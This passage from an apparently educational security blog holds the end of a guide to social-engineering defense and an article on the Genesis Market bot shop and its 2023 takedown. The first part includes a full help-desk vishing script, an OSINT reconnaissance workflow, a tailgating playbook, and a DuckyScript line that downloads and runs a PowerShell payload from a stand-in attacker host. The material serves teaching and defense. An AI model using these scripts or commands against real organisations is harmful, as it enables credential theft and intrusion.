The offer of help is fake or trivial; the ask (credentials, access, wire transfer) is the actual objective. This is why unsolicited IT support calls are effective: the attacker offers to solve a problem (real or invented), and the target feels obligated to cooperate with the credential request that follows "to run diagnostics." ### Principle 5: Liking and Rapport People comply more readily with people they like. Attackers build rapport through: - **Mirroring**: matching the target's speech pattern, vocabulary, formality level - **Name-dropping**: referencing specific colleagues, managers, shared experiences - **Common ground**: establishing shared context ("I saw on LinkedIn you went to Michigan, my sister went there") - **Warm-up calls**: a benign first contact that establishes familiarity before the real attack The LinkedIn professional network is an attacker's primary reconnaissance tool. It provides names, job titles, reporting relationships, recent job changes (useful for impersonating new employees who haven't been vetted), and work history: all the elements needed to build a convincing pretext. ### Principle 6: Commitment and Consistency Once someone makes a small initial commitment, they are more likely to make larger consistent commitments. Foot-in-the-door technique: "Would you mind just verifying your employee ID first?" The small ask (ID) builds commitment. The larger ask (password, access) follows naturally from the established cooperative relationship. ## Core Techniques: How Attacks Are Structured ### Pretexting: Building the Identity Pretexting is the construction of a fabricated scenario and identity to lower the target's defenses. It is not improvised lying, sophisticated pretexts are researched, rehearsed, and layered with verifiable detail. **The OSINT pre-work:** Before the first contact, attackers harvest: ``` LinkedIn intelligence: - Target name, title, reporting structure - Recent employer changes (new employees are exploitable: "still getting set up") - Company size, departments, recent news ("I heard about the acquisition") - Technology stack (job postings reveal internal systems) - Names of specific IT staff, HR personnel, executives Social media intelligence: - Facebook: family members, personal events, hometown (useful for security questions) - Twitter/X: opinions, interests, professional grievances - Instagram: travel patterns, workplace photos (badge designs, office layouts) Data broker sites: - Spokeo, Whitepages, BeenVerified: addresses, phone numbers, family members - This data is used to answer security questions and pass knowledge-based authentication Breach data: - Previous passwords, email addresses, partial card numbers - Often used to claim familiarity: "I see your account here from 2019" Company website: - Org chart (if published) - Press releases (acquisitions, new executives — useful pretext hooks) - Contact directory ``` **Example pretext script: IT help desk attack** This is a composite from documented social engineering cases, including elements of the MGM 2023 attack methodology: ``` [Attacker calls the IT help desk] Attacker: "Hi, yeah — I'm having trouble with my VPN, it's not connecting. I'm [Name from LinkedIn], I work in the [Department] team. I just moved to the [City] office last month so I'm still getting set up over here. [Pause, let them respond] Right, so I need to hop on a call in about 20 minutes and my VPN is just spinning. I've restarted everything. Can you do a quick credential reset? My manager is [Name found on LinkedIn for this person's manager] — she said to call IT directly because she's in a meeting. [They may ask for verification: employee ID, etc.] Sure, it's [employee ID if obtained, or plausible format guess]. I also have my badge number — [number]. Is there anything else you need to pull up my account? [If they offer to send reset link to email on file:] Actually that's the problem — I can't access the old email, we just migrated to the new Outlook setup and it's not working either. Can you reset it to this temporary address I'm using? [Supply attacker-controlled email for reset link]" ``` The elements making this effective: - Real employee name from LinkedIn (established identity) - Recent office move (explains unfamiliarity, can't be contradicted by local knowledge) - Specific manager name (authority figure corroboration) - Plausible technical problem (VPN + email, common issues) - Time pressure ("20-minute call") - Manager reference deflects verification ("she's in a meeting") - Recovery path for each possible objection **Countering this pretext:** The defense is a callback procedure. No credential reset or access change over an inbound call, period. The help desk calls back the employee at their registered extension or sends a reset through their registered email. If both are unavailable, the matter escalates to the employee's manager via a separate verification channel. A policy is not enough: it must be technically enforced and tested. ### Vishing: Voice-Based Attacks Voice phishing is particularly effective because: 1. Real-time interaction prevents the target from taking time to verify 2. Human voice triggers trust responses that text does not 3. Social norms make it difficult to hang up or question aggressively 4. Emotional manipulation is more potent in voice than in writing **The Twitter 2020 Hack: A Documented Vishing Operation** On July 15, 2020, Twitter accounts belonging to Barack Obama, Joe Biden, Elon Musk, Bill Gates, Apple, and dozens of other high-profile users were compromised and used in a Bitcoin scam that netted approximately $120,000 in under an hour. The technical access vector: vishing. Court documents filed by the Department of Justice (US v. Graham Ivan Clark, et al.) revealed the method in detail: 1. Attackers identified Twitter employees with access to internal admin tools 2. They called Twitter employees directly, impersonating Twitter's IT department 3. Using social engineering, they convinced employees to provide credentials for Twitter's internal "Agent Tools": a customer service panel with the ability to take over any account 4. With "Agent Tools" access, they changed email addresses associated with target accounts, disabled 2FA, and posted the Bitcoin scam The ringleader was Graham Ivan Clark, 17 years old at the time. His co-conspirators were 19 and 22. The operation required no malware, no zero-days, and no sophisticated technical infrastructure, just research, phone calls, and confidence. Clark was sentenced to three years in juvenile detention. The incident prompted Twitter to remove 1,500 accounts' access to internal admin tools as an emergency measure. **AI Voice Cloning: The Escalating Threat** The 2024 landscape for vishing has changed significantly with accessible AI voice cloning. Tools including ElevenLabs, Resemble AI, and open-source models can generate convincing synthetic voice from as little as 3-5 seconds of audio sample, available from public YouTube videos, podcast appearances, voicemail greetings, or any public recording. **The Ferrari CEO Voice Clone Incident (June 2024)**: A Ferrari executive received a WhatsApp call from someone perfectly mimicking the voice of CEO Benedetto Vigna. The caller referenced a confidential acquisition deal and requested urgent help with a financial transaction. The executive grew suspicious when the caller couldn't answer a personal question: a verification method Ferrari's security training had apparently recommended. The attack was prevented by in-person knowledge the attacker didn't possess. **The $25 Million Voice Clone Transfer (Hong Kong, January 2024)**: A finance worker at a multinational firm was convinced to transfer HK$200 million (~$25.6 million USD) after attending what appeared to be a Zoom video call with the company's CFO and other executives. All of the "executives" on the call were AI-generated deepfakes using real employees' likenesses and voices. This is among the largest successful financial social engineering attacks on record. **Defense against voice cloning:** - Establish **safe word** protocols with high-value targets (executives, finance staff). A secret word agreed in advance and required for any unusual request cannot be replicated by an attacker who doesn't know it. - Any financial transaction above a threshold requires verification through a separate, pre-established channel: not the channel that initiated the request. - Train staff to recognize the types of requests that require enhanced verification regardless of who is asking. ### Baiting: Exploiting Curiosity Baiting exploits human curiosity and greed. The attack requires no social interaction: the bait does the work. **Physical USB baiting:** A landmark study by University of Illinois researchers Tischer et al. (2016) dropped 297 USB drives across a university campus. Results: - 98% of drives were picked up - 45% of finders plugged them in and opened files - The most compelling labels: "Final Exams" and "Scholarship" - Time from drop to first plug-in: as short as 6 minutes In 2022, the FBI issued a warning that Fin7 (a financially motivated cybercrime group with estimated $1.2 billion in theft) had mailed USB drives via USPS to US defense contractors, transportation companies, and insurance companies. The packages mimicked gift cards from Amazon, with the USB drive appearing to be a gift card. The drives contained GRIFFON malware. The targeting was specific, recipient names from company websites and LinkedIn. **The anatomy of a malicious USB attack:** ``` # HID Attack (Human Interface Device) # Rubber Ducky / USB Rubber Ducky / Hak5 — appears as keyboard to OS # Executes pre-programmed keystrokes at superhuman speed # Example DuckyScript (what executes when you plug in) DELAY 1000 GUI r # Windows key + R (Run dialog) DELAY 500 STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2.attacker.com/payload.ps1')" ENTER # BadUSB attack — flash keyboard firmware to execute arbitrary HID commands # Completely invisible to OS (appears as legitimate keyboard) # No antivirus can detect this: it's just keyboard input # USB exfiltration attack # Autorun.inf (legacy) or LNK shortcut file that executes on folder view # In more modern attacks: targets with AutoPlay enabled or naive double-click behavior ``` **Defense:** - Disable USB AutoPlay via Group Policy - Deploy USB port control solutions (CrowdStrike Falcon USB Device Control, Ivanti, Endpoint Protector) - Train employees that found USB drives are a security incident, bring to IT, do not plug in - Deploy honeypot USB drops internally to measure employee behavior ### Tailgating and Physical Penetration Physical security failures give attackers something no remote exploit can: physical access to hardware, sensitive documents, and internal network jacks. **Documented physical penetration test methodology (common approach):** Security consulting firms conduct authorized physical penetration tests to expose these vulnerabilities. The documented playbook: 1. **Observation**: Watch the target building for 1-2 days. Identify: delivery schedule, catering vendors, cleaning crews, badge access points, smoking areas (employees prop doors). 2. **Costume**: Target's dress code (suit, casual, contractor uniform). Amazon and UPS uniforms are commercially available and recognizable. 3. **Props**: A dolly with cardboard boxes, a laptop bag, a clipboard. Props signal purpose and create cognitive closure: a person with a dolly and boxes is a delivery person. 4. **Entry**: Approach a door as an employee is exiting or entering. Hold something in both hands (props) so they hold the door as a social reflex. Or follow a large group through a single badge-in event. 5. **Internal movement**: Walk with purpose. Most employees never challenge someone who looks like they belong. If challenged, have a pretext ready ("I'm here for the [meeting/IT maintenance/HVAC work]"). 6. **Objectives**: Network jack access (plug in a rogue network device), document access (photograph whiteboards, documents), hardware implant (keylogger on workstation), social engineering target identified for future contact. **Kevin Mitnick's documented approach** (from The Art of Intrusion, 2005, still operationally relevant): Entry via tailgating, immediately proceeding to an unattended workstation with an unlocked session, using the existing session to access internal systems: the physical access bypassed all authentication because someone had walked away from their desk without locking it. **Defense:** - Mantraps (double-door airlocks requiring separate authentication for each door) - Turnstiles that physically prevent tailgating - "Challenge everyone you don't recognize" culture: this feels aggressive but is the only alternative - Clean desk policy enforced (no sensitive documents visible, screens locked) - Visitor badges that visually distinguish from employee badges ## Real-World Case Studies ### RSA SecurID Breach (March 2011) **Impact**: $66 million to remediate; compromise of the cryptographic seeds underlying RSA SecurID two-factor authentication tokens deployed to millions of enterprise users worldwide. **Attack vector**: Spear phishing email to RSA employees with subject line "2011 Recruitment Plan." The attachment (a spreadsheet) contained a zero-day Flash exploit (CVE-2011-0609). One employee retrieved the email from their spam folder and opened it. **The OSINT work that made it work**: Attackers identified RSA employees via LinkedIn and targeted non-technical staff in recruiting and administrative roles, job functions that legitimately receive and open recruiting-related files. The content of the subject line was plausible for these targets. **What happened after**: The extracted data was used in subsequent attacks against RSA's customers, including Lockheed Martin and other defense contractors who used RSA tokens for VPN authentication. RSA parent company EMC eventually spent $66 million on remediation, including replacing physical tokens for customers. **Lesson**: The technical zero-day was the delivery mechanism. The OSINT targeting and subject line craft were what got the attachment opened. ### Ubiquiti Networks BEC Fraud (2015) **Impact**: $46.7 million wired to overseas attacker-controlled accounts. **Attack vector**: Business Email Compromise. No malware. No technical vulnerability. Attackers registered domains that closely resembled legitimate Ubiquiti partner companies and used them to send emails appearing to come from Ubiquiti's own executives. Finance employees received instructions to process wire transfers for what appeared to be a business transaction. **Why it worked**: - Email impersonation of known trusted parties (no technical authenticity verification) - Multi-wire approach: multiple smaller transfers rather than one large one - Invoking executive authority without requiring actual executive confirmation - Finance processes that lacked independent verification for wire transfers **Recovery**: $8.1 million recovered. $38.6 million lost permanently. The SEC investigated the company for disclosure failures. **Lesson**: Email impersonation requires no technical compromise. Wire transfers must require a secondary verification channel (a phone call to a number on file, not one in the email) regardless of the apparent authority of the requester. ### Twitter Hack (July 2020): Extended Analysis The Twitter hack warrants deeper analysis because it demonstrates several techniques working in sequence: **Phase 1: Reconnaissance** Attackers identified Twitter employees with access to "Agent Tools" via social media and professional networks. They targeted employees in customer support roles, job functions with legitimate access to account management tools. **Phase 2: Vishing campaign** Attackers called Twitter employees, impersonating Twitter's IT department. They claimed the target's VPN credentials were compromised and needed to be reset. They had employees' real names, departments, and enough detail to appear credible. **Phase 3: Fake VPN portal** Attackers directed employees to a fake Twitter internal VPN portal to "re-enter their credentials." The fake portal captured real corporate credentials. **Phase 4: MFA relay** When Twitter's real VPN required MFA (TOTP codes), attackers used a real-time relay: they simultaneously logged into the real Twitter VPN with the captured credentials, requested the MFA prompt, and called the victim back saying "you should receive a code on your phone now, can you read it to me?" The victim read the code; the attacker entered it. Session established. **Phase 5: Admin panel access** With VPN access, attackers accessed "Admin Tools" (internal account management panel). They used Agent Tools to change target account email addresses, disable 2FA, and take control. **Total time**: The MFA bypass and Agent Tools access were obtained on the same day as the initial vishing calls. **What would have stopped it**: Hardware security keys for VPN authentication. FIDO2 credentials are domain-bound: a fake VPN portal cannot relay them because the signature is mathematically tied to the legitimate domain. Every employee who entered their code into a fake relay would instead have seen their hardware key refuse to authenticate. Twitter subsequently mandated hardware keys for all employees with sensitive system access. ### MGM Resorts (September 2023): The $100M Phone Call **Impact**: $100M+ in direct costs, 10+ days of operational disruption to casino, hotel, and restaurant operations across MGM's Las Vegas properties. **Threat actor**: Scattered Spider (UNC3944), an ALPHV/BlackCat affiliate. Notably, Scattered Spider is primarily English-speaking, Western-based, native English speakers conducting social engineering against English-speaking targets. **Attack sequence**: 1. **OSINT**: Found an MGM employee profile on LinkedIn. Name, title, department, sufficient detail to impersonate. 2. **Vishing**: Called MGM's IT help desk. Impersonated the found employee. Used the standard technique: "I'm locked out of my account and have a meeting in 20 minutes." English-speaking attackers with fluent American accents conducting social engineering against English-speaking help desk staff is more effective than non-native speakers. 3. **Credential reset**: Help desk performed the reset without adequate verification. 4. **Okta access**: With the reset credentials, attackers accessed MGM's Okta identity platform. Okta is a single sign-on (SSO) platform, once inside, they could access whatever MGM applications the account had permission to reach. 5. **Ransomware deployment**: ALPHV ransomware was deployed across MGM's infrastructure through the SSO access. The lateral movement from a single reset credential to enterprise-wide encryption took approximately 9 hours. **Parallel incident**: In the same month, Caesars Entertainment experienced a similar Scattered Spider attack. Caesars paid approximately $15 million in ransom. This was not disclosed until required by a new SEC cybersecurity disclosure rule, Caesars had hoped to avoid public disclosure. **What would have stopped it**: A callback procedure requiring the help desk to contact the employee through an existing, registered contact method (not a number provided during the call). And/or: Okta policies requiring phishing-resistant MFA (hardware keys) for privileged access, so that even successfully reset credentials couldn't grant SSO access without physical possession of a registered hardware key. ## The OSINT Infrastructure Attackers Use Understanding what attackers know about your organization before they call is essential to understanding why pretexts succeed. **LinkedIn-specific reconnaissance:** ```python # OSINT research workflow (conceptual — for understanding attacker methodology) # Target: Organization X # Goal: Identify employees for pretexting # LinkedIn search operators: # site:linkedin.com "Organization X" IT helpdesk # site:linkedin.com "Organization X" "information technology" "support" # This surfaces: # - Names of IT staff # - Their job titles and descriptions (reveals access levels) # - How long they've worked there (newer employees = more exploitable) # - Former employees (still know internal systems, processes) # - Recent job postings (reveals technology stack: "experience with CrowdStrike preferred") # Company profile reveals: # - Acquisition history (pretext: "from the newly acquired subsidiary") # - Recent leadership changes (pretext: "the new CISO asked me to call") # - Office locations (useful for location-specific pretexts) ``` **Tools used in pre-attack reconnaissance:** | Tool | Purpose | Public/Commercial | |---|---|---| | LinkedIn Sales Navigator | Detailed employee enumeration | Commercial | | hunter.io | Find email addresses for a domain | Freemium | | Clearbit | Email verification and company data | Commercial | | theHarvester | OSINT email/domain enumeration | Free/Open source | | Maltego | Relationship mapping and OSINT | Commercial | | Shodan | Internet-facing systems and technologies | Freemium | | Censys | Internet asset discovery | Freemium | | WHOIS / DomainTools | Domain registration history | Free/Commercial | | Data broker sites | Personal information (SSN partial, address, family) | Free with account | **Red flag**: Any organization where employees' job titles, reporting structures, and IT system roles are fully public on LinkedIn is providing the raw material for pretexting attacks. This doesn't mean removing all professional social media: it means being deliberate about what organizational information is publicly visible. ## Psychological Defenses That Actually Work The naive approach to social engineering defense is training employees to be suspicious of everything. That approach fails because it is cognitively unsustainable, people cannot maintain maximum skepticism through a 40-hour workweek. Effective defense works with human psychology rather than against it. ### Verification Protocols: Procedural Controls Design processes that make verification the path of least resistance: ``` Wire transfer verification protocol: □ All wire transfers above $X require a voice confirmation call □ The call goes to a phone number on file, not one provided in the initiating email □ The call requires the use of a specific code word established in a prior interaction □ Any deviation from this process (urgency, exception requests) escalates to the CFO directly IT help desk verification protocol: □ All credential resets require callback to the employee's registered extension □ If the registered extension is unavailable: email to the registered email □ If both are unavailable: the request goes to the employee's manager □ No credential resets or access changes are processed via inbound calls, period □ Verification bypass requires manager approval, and the bypass is logged and reviewed The goal is a process where following the procedure is easier than bypassing it. ``` ### Out-of-Band Verification: The Most Important Defense The consistent theme across every successful social engineering attack: the target verified through the same channel the attack came through. The attacker sends an email; the target replies to the email. The attacker calls; the target trusts the call. Out-of-band verification uses a pre-established, independent channel: - Received a suspicious email from your CEO? Call their cell number you already have. - Received an unusual call from "IT"? Hang up and call IT back through the number listed in your company directory. - Received a text from "your bank"? Open the bank's app or website directly; don't call the number in the text. This single habit defeats credential harvesting, BEC fraud, vishing, and smishing simultaneously. ### Simulation Training: Building Muscle Memory Annual security awareness training is documented to have minimal retention effect. Periodic simulated social engineering (phishing simulations, vishing simulations, physical tailgating tests) builds actual behavioral responses. **Vishing simulation program:** ``` Phase 1: Baseline measurement - IR team calls employees (from unknown number) posing as IT support - Scripted pretext: VPN credentials need to be verified, new system update requires password confirmation - Track: Who provides credentials? Who asks for verification? Who follows protocol? - Do not punish; measure and report Phase 2: Training for those who fail - Mandatory 30-minute focused training on the specific technique they fell for - Not generic security awareness — specific to the attack pattern they experienced Phase 3: Re-test at 30 days and 90 days - Same or similar pretext - Measure improvement Phase 4: Ongoing program - Quarterly simulations with varying pretexts - Track organization-wide improvement over time - Use results to identify highest-risk departments for targeted additional training Metrics to track: - % of employees who provide credentials (lower = better) - % of employees who ask for verification (higher = better) - % of employees who report the call to security (much higher = better) - % of employees who follow established protocol (higher = better) ``` **The "please report it" culture shift**: The goal is not to create paranoid employees who refuse to help anyone. The goal is employees who know the verification steps and can escalate unusual requests without fear of being wrong. The employee who reports a suspicious call that turns out to be a legitimate vendor is doing exactly the right thing. Organizations that make false reporting uncomfortable (annoying, embarrassing) create cultures where attacks go unreported. ### Least Privilege: Limiting the Blast Radius No single social engineering success should give attackers access to everything. Defense in depth limits what any individual compromise can yield. ``` IT help desk access control: - Tier 1 support: can unlock accounts, reset passwords for regular users only - Tier 2 support: can access admin tools for their specific systems - Tier 3 / escalation: domain admin capabilities, but through PAM with session recording An attacker who socially engineers a Tier 1 help desk employee gets: - Ability to reset one regular employee's password - NOT access to admin accounts, NOT domain admin credentials This is dramatically different from a flat permission model where any IT staff member can reset any credential in the organization. Privileged Access Workstations (PAWs): - Separate physical or virtual machines for admin tasks - Never used for email, web browsing, or general work - Reduces the attack surface for credential theft Just-In-Time (JIT) access: - Admin privileges granted on-request for specific tasks with time limits - Not a standing permission that can be exploited via social engineering ``` ### AI Voice Defense: Emerging Protocols As deepfake audio becomes realistic enough to defeat untrained human detection: **Safe word protocols**: Pre-agree on a specific word or phrase for sensitive communications. Any call requesting unusual action (financial transactions, credential changes) must include the safe word. Attackers who don't know it cannot include it. **Video verification**: High-value requests require live video confirmation rather than voice alone. Deepfake video is harder than audio (though the gap is closing rapidly in 2025-2026). **Process-enforced verification**: The strongest defense is not human detection of synthetic audio: that task will eventually become impossible. The strongest defense is a process that requires verification through a documented channel regardless of who is calling or how convincing they sound. ## Defense Checklist **Organizational controls:** - [ ] Wire transfer and large payment procedures require out-of-band voice verification to a pre-registered number: no exceptions, no urgency exemptions - [ ] IT help desk has a documented, enforced callback procedure for all access changes - [ ] Verification bypass requires manager approval and is logged/reviewed - [ ] IT help desk permissions are tiered, Tier 1 has limited access that cannot compromise the entire organization - [ ] New employees are clearly marked in internal systems and have a grace period where additional verification is applied **Technical controls:** - [ ] Hardware security keys (FIDO2) required for all privileged accounts, social engineering a help desk employee to reset credentials is useless if those credentials can't authenticate without physical hardware - [ ] PAM (Privileged Access Management) with session recording for all admin actions - [ ] JIT access for admin privileges (no standing domain admin sessions) - [ ] DMARC reject policy on all company domains to prevent email impersonation - [ ] Email filtering that flags messages from lookalike domains **Training controls:** - [ ] Quarterly phishing simulations with variant testing - [ ] Annual vishing simulation program with baseline measurement and follow-up testing - [ ] Physical security testing (tailgating) at least annually - [ ] All employees trained on: out-of-band verification, reporting suspicious contacts, the types of requests that always require verification regardless of who is asking - [ ] Help desk staff trained specifically on social engineering patterns targeting their function - [ ] Safe word protocols established with executives and finance staff for high-value transactions **Cultural controls:** - [ ] "Report suspicious contacts" is explicitly encouraged: no negative consequences for false alarms - [ ] Executives visibly support security policies rather than demanding exceptions - [ ] Challenge culture for physical security, employees feel empowered to ask for badge verification - [ ] De-emphasize social compliance instincts in security-critical roles ("it's okay to be inconvenient") The attacker's advantage in social engineering is asymmetric: they need to succeed once. The defender needs to hold every time. The only way to shift this asymmetry is to make verification procedural: a step that happens automatically, not a judgment call made under social pressure by an individual employee trying to be helpful. ## Related guides - [The Uber 2022 Breach](/uber-2022-breach-explained) - [The Okta Breaches](/okta-breaches-explained) - [What Is Phishing and How to Stop It](/what-is-phishing) - [OSINT Reconnaissance: Tools and Techniques](/osint-reconnaissance-guide) - [AI Voice Cloning Scams](/ai-voice-cloning-scams) - [Deepfake Detection Guide](/deepfake-detection-guide) - [Cybersecurity for Small Business](/cybersecurity-for-small-business) Most attacks above start with data already sitting on people-search and broker sites. **[MyDataRemoval](/ref/mydataremoval)** wipes your phone, email, and home address from 200+ broker sites and keeps re-checking every month. *This links to the vendor's own page and earns us nothing today.* ### Sources - MITRE ATT&CK: Phishing for Information (T1598) (MITRE): https://attack.mitre.org/techniques/T1598/ - CISA: Recognizing and Reporting Phishing (CISA): https://www.cisa.gov/secure-our-world/recognize-and-report-phishing - MITRE ATT&CK: Social Engineering (T1566) (MITRE): https://attack.mitre.org/techniques/T1566/ --- # Category: threat-intel ## Genesis Market Explained: The Bot Shop and Operation Cookie Monster > How Genesis Market sold infostealer bots with cookies and fingerprints, how Operation Cookie Monster took it down in 2023, and what replaced it. - URL: https://blog.pwnsy.com/genesis-market-explained - Date: 2026-10-02 - Updated: 2026-10-02 - Difficulty: beginner - Category: threat-intel - Tags: genesis-market, infostealers, dark-web, law-enforcement, session-cookies - Related: [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained), [Colonial Pipeline: One Legacy VPN Account Without MFA](https://blog.pwnsy.com/colonial-pipeline-explained) ### TL;DR - Genesis Market was an invite-only criminal shop, running from March 2018, that sold access to infected computers as 'bots': each one bundled the victim's cookies, saved logins, autofill data and browser fingerprint. - Buyers got a custom browser or plugin that loaded the bot and impersonated the victim's device, so websites saw a familiar session and skipped their fraud checks. - On 4 and 5 April 2023, Operation Cookie Monster, led by the FBI and the Dutch National Police with Europol support, seized 11 domains and produced 119 arrests across 17 countries. - The Tor mirror survived, the operators later claimed to have sold the platform, and rival log shops such as Russian Market absorbed the demand. ### Key Takeaways - The US Justice Department said Genesis offered data from more than 1.5 million compromised computers containing over 80 million account credentials. - Europol reported more than 1.5 million bot listings covering over 2 million identities, priced from USD 0.70 to several hundred dollars. - The FBI gave about 8 million email addresses to Have I Been Pwned, and the Dutch police built a separate Check your hack lookup. - Because bots updated in real time, victims had to remove the malware before changing passwords, or the new passwords would be captured too. - Recorded Future saw Russian Market stop adding new logs on 4 April 2023, then resume about a week later. Most stolen-credential markets sell a list: an email, a password, maybe a URL. Genesis Market sold something closer to a person's browser. A buyer could load a victim's cookies, saved logins and device fingerprint into a special browser and arrive at the victim's bank or email looking like the same laptop that had logged in yesterday. That design made Genesis one of the most useful shops for fraud and network intrusion between 2018 and 2023. It also made it a law enforcement priority. This guide covers how the shop worked, how Operation Cookie Monster took it down, and what the market looks like since. ## What Genesis Market sold Genesis listed what its operators called **bots**. Each bot was one computer infected with information-stealing malware. Europol's description of a purchased bot: access to "all the data harvested by it such as fingerprints, cookies, saved logins and autofill form data." The US Justice Department described the fingerprints as "unique combinations of device identifiers and browser cookies that circumvent anti-fraud detection systems used by many websites." The malware behind the bots is the same class we cover in [What Is an Infostealer](/what-is-an-infostealer). Three features set Genesis apart from a typical log shop: - **Live updates.** Europol said the data was collected in real time: buyers were notified when the victim changed a password. A bot kept producing value for as long as the infection lasted. - **Search by target.** The DOJ noted buyers could search by location and account type, such as banking, social media or email. - **Impersonation tooling.** Buyers received a custom browser that mimicked the victim's. Netacea's 2021 research named the components a Genesis Security plugin and a Genesium browser, which let buyers "browse the internet as the victim." Genesis also ran on the open web behind an invite-only registration, which Europol said lowered the barrier for buyers compared with Tor-only markets. ### Why cookies and fingerprints mattered Many websites decide how much to trust a login by comparing it with what they have seen before: the same browser, the same operating system, a familiar location, an existing session cookie. A buyer who replays the victim's cookies through a browser that reports the victim's fingerprint passes those checks. If the session cookie is still valid, there may be no password prompt and no MFA challenge at all. Our [session hijacking guide](/session-hijacking-explained) explains why a live session token is worth more than a password. ### Scale and price | Measure | Figure | Source | |---|---|---| | Operating since | March 2018 | US Department of Justice | | Compromised computers offered | More than 1.5 million | US Department of Justice | | Account credentials | More than 80 million | US Department of Justice | | Packages listed on 1 February 2023 | About 460,000 | US Treasury (OFAC) | | Bot listings at takedown | More than 1.5 million, over 2 million identities | Europol | | Price per bot | USD 0.70 to several hundred dollars | Europol | | Dutch victims | About 50,000 | Dutch National Police | The most expensive bots carried banking access. The DOJ also called Genesis "one of the most prolific initial access brokers" and said private-sector reports showed its access being used by ransomware actors, the supply chain described in our [initial access brokers guide](/initial-access-brokers-explained). ## Operation Cookie Monster The takedown came after a long investigation. Europol's European Cybercrime Centre (EC3) had supported the case since 2019 through the Joint Cybercrime Action Taskforce. **Action day, 4 April 2023.** Law enforcement seized 11 Genesis domains under a warrant from the US District Court for the Eastern District of Wisconsin, replacing the site with a seizure banner. At the same time, police in multiple countries moved against the shop's users. Europol reported 119 arrests, 208 property searches and 97 "knock and talk" visits, coordinated from a command post at Europol's headquarters in The Hague. Eurojust ran a command centre to resolve legal issues across parallel operations in 13 countries. **Who led it.** The FBI's Milwaukee Field Office and the Dutch National Police led the operation, with 44 other FBI field offices and agencies from the UK, Italy, Denmark, Australia, Canada, Romania, France, Spain, Germany, Sweden, Poland, Finland, Switzerland, Estonia, Iceland and New Zealand, plus Eurojust and Europol. The Dutch police said 17 countries took part and made 17 arrests in the Netherlands. **Targeting the buyers.** The operation went after customers as well as the shop. The DOJ said federal investigators worked to identify prolific Genesis users who bought and used stolen credentials, which produced hundreds of leads for FBI field offices and foreign partners. Deputy Attorney General Lisa Monaco said Genesis "falsely promised a new age of anonymity and impunity, but in the end only provided a new way for the Department to identify, locate, and arrest on-line criminals." For buyers, the seizure turned years of purchase records into evidence. **Sanctions.** On 5 April 2023 the US Treasury's Office of Foreign Assets Control designated Genesis Market, describing it as "believed to be located in Russia" with both clearnet and darknet presence. The FBI shared about 8 million email addresses with Have I Been Pwned. Troy Hunt flagged the breach as sensitive, so results show only after you verify control of the address through the Notify Me service. Passwords from the data were also added to Pwned Passwords. Separately, the Dutch police set up politie.nl/checkyourhack, which emails you only if your address appears in the seized data. ### Why changing passwords was step two The Dutch police were explicit that "just changing passwords is not enough." Because bots reported changes in real time, a new password typed on an infected machine would go straight to the buyer. Europol's advice put the order plainly: run antivirus first, and only then change passwords. Microsoft and antivirus vendors updated detections so Windows Defender and other products could find and remove the malware. ## What came after The takedown removed the main clearnet shop and identified many buyers. The underlying trade continued. **The Tor mirror stayed up.** The UK National Crime Agency told The Record that the dark web version remained active because it was "hosted in an inaccessible jurisdiction." **The operators claimed a sale.** In July 2023, an account called GenesisStore, previously associated with the administrators, posted on the Russian-language Exploit forum that "a buyer has been found and a deposit has been made." The listing offered the source code, scripts, server infrastructure and database, excluding some customer details. The claim was never independently confirmed in public. **Rival shops absorbed demand.** Russian Market, which sells raw infostealer logs rather than packaged bots, reacted at once. Recorded Future's Alexander Leslie told The Record: "we observed an immediate stop to the daily listing of all new infostealer logs, beginning on April 4, 2023." Listings resumed about a week later, and a Flashpoint analyst estimated volume at about 15% above pre-takedown levels. **Russian Market grew into the default.** ReliaQuest's June 2025 research described it as "the Amazon of stolen credentials," with more than 5 million logs by 2023 and logs selling for as little as USD 2. ReliaQuest raised over 136,000 customer alerts tied to Russian Market in 2024. Lumma accounted for nearly 92% of those credential log alerts in Q4 2024, and after Microsoft and law enforcement disrupted Lumma's infrastructure in May 2025, ReliaQuest named Acreed as the likely successor stealer. The pattern matches what our [dark web markets guide](/dark-web-markets-explained) describes: a takedown removes a shop and burns its users, while the supply of infections moves to whichever venue remains. The pwnsy [infostealer tracker](https://data.pwnsy.com/stealers) follows the major stealer families and their takedown timeline. | Shop | What it sells | Status as of 2026 | |---|---|---| | Genesis Market | Packaged bots with cookies, fingerprints and an impersonation browser | Clearnet seized April 2023; Tor mirror persisted; sale claimed July 2023 | | Russian Market | Raw infostealer logs | Active; documented by ReliaQuest in 2025 | | 2easy Shop | Infostealer logs | Reported as a Genesis alternative in 2023; Flashpoint noted doubts about its administrators | ## How to defend against bot-shop exposure ### For individuals 1. **Check exposure.** Use Have I Been Pwned for the Genesis data and later stealer collections. Dark web monitoring services work the same way; see [how dark web monitoring works](/how-dark-web-monitoring-works) for what an alert does and does not tell you. 2. **Clean the device first.** If you were exposed, run a full scan or reinstall before changing passwords. 3. **Revoke sessions.** After cleanup, sign out of all sessions on email, banking and social accounts so stolen cookies stop working, then change passwords. 4. **Use phishing-resistant MFA and a password manager.** Passkeys and hardware keys reduce what a future infection can be replayed against, and avoiding browser-saved passwords removes one easy harvest. 5. **Avoid cracked software and fake installers**, the most common infostealer delivery routes. ### For organisations 1. **Monitor for your domain in stealer data.** The pwnsy [stealer exposure lookup](https://pwnsy.com/tools/osint/stealer-exposure/) checks a domain against infostealer exposure. 2. **Treat a stealer hit as a session compromise.** Revoke tokens and sessions for the affected user and investigate the device, along with the password reset. 3. **Bind sessions to managed devices.** Conditional access with compliant devices, short session lifetimes for sensitive apps, and device-bound tokens all reduce the value of a replayed cookie. 4. **Watch for fingerprint-perfect anomalies.** A session with the right device characteristics from an unexpected network, or a cookie reused after the user signed out, is worth an alert. 5. **Restrict personal browser sync on work devices.** Saved corporate passwords synced to a personal profile end up on personal machines that the company does not protect. ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [How Dark Web Monitoring Works](/how-dark-web-monitoring-works) - [Dark Web Markets Explained](/dark-web-markets-explained) - [Initial Access Brokers Explained](/initial-access-brokers-explained) - [Session Hijacking Explained](/session-hijacking-explained) - [Credential Stuffing Explained](/credential-stuffing-explained) - [What to Do After a Data Breach](/what-to-do-after-data-breach) ### Sources - Criminal Marketplace Disrupted in International Cyber Operation (US Department of Justice): https://www.justice.gov/archives/opa/pr/criminal-marketplace-disrupted-international-cyber-operation - Takedown of notorious hacker marketplace selling your identity to criminals (Europol): 